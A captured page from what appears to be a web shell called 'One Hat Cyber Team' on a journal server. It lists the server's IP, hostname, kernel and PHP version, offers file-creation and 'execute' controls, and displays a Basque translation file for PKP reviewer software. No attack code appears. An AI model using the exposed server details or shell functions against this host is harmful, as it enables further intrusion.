One Hat Cyber Team
Your IP :
216.73.216.216
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
lib
/
pkp
/
locale
/
eu
/
View File Name :
reviewer.po
# Josu Acosta <josuacostacalvo@gmail.com>, 2023, 2024. # Informatikaria <informatikaria@ueu.eus>, 2025. msgid "" msgstr "" "PO-Revision-Date: 2025-06-15 20:41+0000\n" "Last-Translator: Informatikaria <informatikaria@ueu.eus>\n" "Language-Team: Basque <http://translate.pkp.sfu.ca/projects/pkp-lib/reviewer/" "eu/>\n" "Language: eu\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: Weblate 4.18.2\n" msgid "reviewer.reviewSteps.request" msgstr "1. Eskaera" msgid "reviewer.reviewSteps.guidelines" msgstr "2. Jarraibideak" msgid "reviewer.reviewSteps.download" msgstr "3. Deskarga eta ebaluazioa" msgid "reviewer.reviewSteps.completion" msgstr "4. Bukaera" msgid "reviewer.step1.request" msgstr "Ebaluazio eskaera" msgid "reviewer.step1.requestBoilerplate" msgstr "" "Ondorengo bidalketaren ebaluatzaile potentzial moduan hautatua izan zara. " "Hemen bidalketaren ikuspegi orokorra eta ebaluaziorako epeak aurkezten " "dira. Parte hartzeko aukera izango duzula espero dugu." msgid "reviewer.step1.viewAllDetails" msgstr "Bidalketa-xehetasun guztiak ikusi" msgid "reviewer.submission.reviewerFiles" msgstr "Ebaluatzaile fitxategiak" msgid "reviewer.submission.declineReview" msgstr "Ebaluazio eskaera baztertu" msgid "reviewer.submission.declineReviewMessage" msgstr "" "Beheko eremuan ebaluazio honi uko egiteko dituzun arrazoiak azaldu " "diezazkiokezu editoreari." msgid "reviewer.submission.acceptReview" msgstr "Ebaluazioa onartu, jarraitu #2 urratsera" msgid "reviewer.submission.continueToStepThree" msgstr "Jarraitu #3 urratsera" msgid "reviewer.submission.submitReview" msgstr "Ebaluazioa bidali" msgid "reviewer.submission.saveReviewForLater" msgstr "Gorde gerorako" msgid "reviewer.submission.reviewerGuidelines" msgstr "Ebaluatzailearentzako jarraibideak" msgid "reviewer.submission.enterCompetingInterests" msgstr "" "Argitaletxe honek bere ebaluatzaileen balizko interes kontrajarriak " "ezagutarazteko politika du. Mesedez, har ezazu tartetxo bat politika hau " "berrikusteko." msgid "reviewer.submission.noCompetingInterests" msgstr "Ez dut inolako interes kontrajarririk" msgid "reviewer.submission.hasCompetingInterests" msgstr "Baliteke interes kontrajarriak izatea (Behean zehaztu)" msgid "reviewer.submission.competingInterests" msgstr "Interes kontrajarriak" msgid "reviewer.submission.guidelines" msgstr "Ebaluazio Jarraibideak" msgid "reviewer.submission.noGuidelines" msgstr "Argitaletxeak ez du ezarri ebaluatzaile jarraibiderik." msgid "reviewer.submission.downloadDescription" msgstr "" "Egin klik beheko fitxategi izenen gainean bidalketa honekin lotutako " "fitxategiak deskargatzeko." msgid "reviewer.submission.reviewDescription" msgstr "Sartu (edo itsatsi) bidalketaren ebaluazioa beheko inprimakian." msgid "reviewer.submission.uploadDescription" msgstr "" "Igo editoreak eta/edo egileak kontsultatzea nahi dituzun fitxategiak, " "jatorrizko ebaluazio fitxategien bertsio errebisatuak barne." msgid "reviewer.complete" msgstr "Ebaluazioa Bidali Da" msgid "reviewer.confirmSubmit" msgstr "Ziur zaude ebaluazioa bidali nahi duzula?" msgid "reviewer.complete.whatNext" msgstr "" "Eskerrik asko bidalketa honen ebaluazioa osatzeagatik. Zure ebaluazioa behar " "bezala bidali da. Argitaratzen dugun lanaren kalitateari egiten diozun " "ekarpena eskertzen dizugu; editorea zurekin harremanetan jar daiteke berriro " "informazio gehiago lortzeko, beharrezkoa izanez gero." msgid "reviewer.aboutDueDates" msgstr "Epemugei buruz" msgid "reviewer.aboutDueDates.text" msgstr "" "Editoreak eskatzen dizu Erantzunaren Epemuga baino lehen ebaluazioa " "onartzeko edo ukatzeko eta Ebaluazioaren Epemuga baino lehen ebaluazioa " "bukatzeko." msgid "submission.comments.canShareWithAuthor" msgstr "Egile eta editorearentzat" msgid "submission.comments.cannotShareWithAuthor" msgstr "Editorearentzat bakarrik" msgid "submission.comments.sendCopyToReviewers" msgstr "" "Jakinarazpen honen kopia bat bidali posta elektronikoz, BCCan jarrita " "ondorengo ebaluatzaileak. Horrek egilearen identitatea erakutsiko die " "ebaluatzaileei." msgid "submission.comments.sendToReviewers" msgstr "Ebaluatzaileei bidali" msgid "user.authorization.submissionReviewer" msgstr "" "Uneko erabiltzaile hau ez da eskatutako dokumentuaren ebaluatzaile gisa " "esleitu." msgid "reviewer.submission.reviewRound.reviewNotCompleted" msgstr "Ez da ebaluazioa amaitu." msgid "reviewer.submission.reviewRound.info" msgstr "Aurreko ebaluazioak" msgid "reviewer.submission.reviewRound.info.submittedOn" msgstr "Erronda {$round} Ebaluazioa bidalita honi: {$submittedOn}" msgid "reviewer.submission.reviewRound.info.read" msgstr "Irakurketa ebaluazioa erronda {$round}" msgid "reviewer.submission.reviewRound.comments" msgstr "Ebaluatzailearen oharrak" msgid "reviewer.submission.reviewRound.comments.authorAndEditor" msgstr "Editoreentzat eta egileentzat" msgid "reviewer.submission.reviewRound.comments.editorOnly" msgstr "Editoreentzat bakarrik" msgid "reviewer.submission.reviewRound.comments.prefix" msgstr "Oharra {$index}: " msgid "reviewer.submission.reviewRound.emailLog" msgstr "Errefusatzeko arrazoia e-postaz bidalia" msgid "reviewer.submission.reviewRound.emailLog.defaultMessage" msgstr "Ez da arrazoirik eman ebaluazioa egiteko gonbidapena errefusatzeko." msgid "reviewer.submission.reviewRound.reviewDeclineDate" msgstr "Errefusatze data" msgid "reviewer.submission.reviewRound.metadata" msgstr "Artikuluaren metadatuak" msgid "reviewer.submission.reviewRound.metadata.type" msgstr "Mota" msgid "reviewer.submission.reviewRound.metadata.abstract" msgstr "Laburpena" msgid "reviewer.submission.reviewRound.metadata.keywords" msgstr "Gako-hitzak" msgid "reviewer.submission.reviewRound.general" msgstr "Informazio orokorra" msgid "reviewer.submission.reviewRound.attachments" msgstr "Eranskinak" msgid "reviewer.submission.reviewRound.attachments.description" msgstr "Fitxategia hauek dira zure ebaluazioarekin batera erantsi dituzunak" msgid "reviewer.submission.reviewRound.files" msgstr "Ebaluatzeko fitxategiak" msgid "reviewer.submission.reviewRound.files.description" msgstr "Fitxategi hauek ebaluatzeko bidali zitzaizkizun" msgid "reviewer.submission.reviewRound.info.modal.title" msgstr "Erronda {$round} Ebaluazioa bidalita honentzat: {$submittedOn}"